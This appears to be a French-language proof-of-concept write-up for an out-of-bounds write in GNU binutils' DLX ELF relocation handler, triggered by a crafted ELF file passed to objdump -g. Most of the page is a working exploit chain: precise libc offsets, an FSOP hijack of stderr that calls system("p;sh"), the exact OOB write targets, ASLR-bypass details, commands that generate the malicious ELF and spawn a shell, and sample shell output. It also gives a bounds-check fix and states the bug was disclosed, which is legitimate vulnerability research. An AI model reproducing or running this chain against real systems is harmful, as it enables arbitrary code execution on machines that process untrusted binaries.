Retour aux mises à jour
UpdatedJul 27, 2026

objdump-Out-Of-Bounds-write — Mis à jour !

Preuve de concept (PoC) démontrant la CVE-2026-18220, une vulnérabilité d'écriture hors limites (OOB) dans le backend DLX ELF de GNU binutils (déclenchée spécifiquement via `objdump -g`)

Partager

GNU Binutils objdump — Écriture hors limites → FSOP → Exécution de code arbitraire

Cible : GNU Binutils (toutes les versions jusqu'à HEAD) — objdump
Environnement : Debian 13 (Trixie), glibc 2.41, x86_64
Impact : Exécution de code arbitraire
Vecteur : Fichier ELF spécialement conçu traité par objdump -g
ASLR : Contourné (delta mmap déterministe)


Remerciements

Un immense merci à bikini pour la mention et son fair-play concernant cette découverte. C'est un type super, j'ai eu le plaisir de discuter avec lui, et il a fait des découvertes géniales lui aussi. Allez voir son travail !


Vulnérabilité

Cause racine — bfd/elf32-dlx.c

Le gestionnaire de relocation R_DLX_RELOC_26_PCREL (elf32_dlx_relocate26) effectue une lecture/écriture de 4 octets à data + reloc_entry->address sans valider l'offset par rapport à la taille de la section. Comme la fonction retourne bfd_reloc_ok, la vérification générique des bornes dans bfd/reloc.c est entièrement contournée.

// bfd/elf32-dlx.c — elf32_dlx_relocate26()
insn  = bfd_get_32(abfd, data + reloc_entry->address);   // OOB read
vallo = insn & 0x03FFFFFF;
if (vallo & 0x03000000)
    vallo = ~(vallo | 0xFC000000) + 1;                   // sign-extend 26 bits

val   = (sym->section->vma + sym->value) - vallo;
insn  = (insn & 0xFC000000) | (val & 0x03FFFFFF);

bfd_put_32(abfd, insn, data + reloc_entry->address);     // OOB write
return bfd_reloc_ok;                                      // skips bounds check

L'offset reloc_entry->address est lu directement depuis le fichier ELF et peut pointer arbitrairement au-delà du tampon de la section.

Astuce de proximité mmap

Sur x86_64, les offsets ELF32 sont étendus par zéros, limitant les écritures aux offsets positifs. Une section .debug_info ≥ 128 Ko force malloc() à utiliser mmap(), plaçant le tampon adjacent au segment de données de libc :

┌──────────────────────────────────────┐  ← same mmap region
│  .debug_info buffer (192 KB)         │  data     = 0x7f...d010
│  ├── fake _IO_wide_data  (+0x1000)   │
│  └── fake _IO_jump_t     (+0x2000)   │
│              ...                     │
│  _IO_2_1_stderr_                     │  stderr   = data + 0x21a4d0
│  _IO_wfile_jumps                     │  wfile    = data + 0x218218
│  system()                            │  system() = data + 0x87100
└──────────────────────────────────────┘

Le delta stderr - data = 0x21A4D0 est constant entre les exécutions ASLR car les deux régions sont allouées par le même mmap lors du chargement de libc.


Chaîne d'exploitation FSOP

Chemin d'exécution

objdump writes to stderr ("Can't get contents for section...")
  └─► _IO_wfile_overflow(stderr)
      └─► _IO_wdoallocbuf(stderr)
          └─► _IO_WDOALLOCATE(stderr)
              = stderr->_wide_data->_wide_vtable->__doallocate(stderr)
              = fake_vtable[0x68](https://github.com/4d4j/objdump-out-of-bounds-write/blob/main/stderr)
              = system(stderr)
              = system("p;sh")         ← stderr._flags[0:4] = "p;sh"

Les 5 écritures OOB (PCREL26)

#Cible (offset depuis data)Effet
00x21A4CF = stderr − 1_flags[0:3] = cmd[0..2] → début de l'argument de system()
10x21A4F8 = stderr + 0x28_IO_write_ptr ≠ 0 → force le flush → overflow
20x21A56F = stderr + 0x9F_wide_data[0:3] → pointe vers la fausse _IO_wide_data
30x21A5A7 = stderr + 0xD7vtable[0:3]_IO_wfile_jumps
40x21A4D2 = stderr + 2_flags[3] = cmd[3], padding effacé → terminateur nul

Fausses structures (dans le tampon de la section)

data + 0x1000 : fake _IO_wide_data
  +0xE0      : _wide_vtable → data + 0x2000

data + 0x2000 : fake _IO_jump_t
  +0x68      : __doallocate → system()

Contraintes des commandes

L'exploit prend en charge des commandes de 2 à 4 caractères. La relocation 0 écrit _flags[0:3] et la relocation 4 écrit _flags[3] + efface le padding, donnant à system() jusqu'à 4 caractères avant le terminateur nul naturel.

Seuls les deux premiers octets sont contraints par la disposition des drapeaux FILE de glibc :

BitDrapeauContrainteRaison
1_IO_UNBUFFEREDcmd[0] & 0x02 == 0sinon _IO_wdoallocbuf saute __doallocate
3_IO_NO_WRITEScmd[0] & 0x08 == 0sinon overflow retourne immédiatement WEOF
13_IO_IS_FILEBUFcmd[1] & 0x20 != 0requis pour entrer dans le bloc doallocate

cmd[2] et cmd[3] sont sans contrainte.

CommandeOctetsEffet
"ps"70 73liste les processus
"p;sh"70 3B 73 68lance un shell interactif ← le plus utile
"p;ls"70 3B 6C 73liste le répertoire
"p;id"70 3B 69 64affiche uid/gid

Reproduction

Prérequis

# Build binutils with DLX target support
cd binutils-gdb && mkdir build && cd build
../configure --target=dlx-elf --disable-nls --disable-werror
make -j$(nproc)

Générer le payload + lancer l'exploit

# Step 1: Generate the malicious ELF (choose your command)
python3 poc_generate.py --cmd "p;sh" -o exploit.bin

# Step 2: Run the exploit (ASLR on, standalone, no GDB)
python3 poc_ptrace.py --cmd "p;sh"   # interactive shell
python3 poc_ptrace.py --cmd "p;id"   # print uid/gid
python3 poc_ptrace.py                # default: "ps"

L'exploit réessaie automatiquement jusqu'à 5 fois en cas d'inadéquation de l'octet 3 d'ASLR (~12 % par tentative), atteignant un taux de réussite de ~99,998 %.

Sortie attendue

[*] libc: /lib/x86_64-linux-gnu/libc.so.6
[*] cmd = 'p;sh'  bytes = ['0x70', '0x3b', '0x73', '0x68']
[*] objdump_base = 0x005e61dfbf5000
[*] fn_addr      = 0x005e61e06cad90  (elf32_dlx_relocate26)
[*] libc_base = 0x0075b1ed86c000
[*] stderr    = 0x0075b1eda524e0
[*] system    = 0x0075b1ed8bf110
[*] actual delta = 0x21a4d0  (expected 0x21a4d0)
[*] reloc0 sym->value <- 0x00f65c20  (cmd[0..2] = 'p;s')
[*] reloc4 sym->value <- 0x016d0000  (cmd[3] = 0x68)
...
[+] system() reached — command executing
$ id                                   ← interactive shell
uid=1000(user) gid=1000(user) groups=1000(user)
[+] Done

Correctif suggéré

Ajoutez une vérification des bornes dans elf32_dlx_relocate26() avant d'accéder aux données de la section :

if (reloc_entry->address + 4 > input_section->size)
    return bfd_reloc_outofrange;

Fichiers

FichierDescription
poc_generate.pyGénère le payload ELF DLX malveillant (exploit.bin) avec 5 relocations OOB
poc_ptrace.pyExploit autonome — contournement d'ASLR basé sur ptrace, boucle de relance, GDB non requis
exploit.binPayload pré-généré (commande par défaut "p;sh")

Divulgation

Cette vulnérabilité a été signalée aux mainteneurs de GNU Binutils. Le code d'exploitation est fourni uniquement à des fins de recherche en sécurité autorisée.

Correctif

https://sourceware.org/git/?p=binutils-gdb.git;a=commit;h=114e3aae2b7e34057c8909301eaf78c15687e8e5

Catégories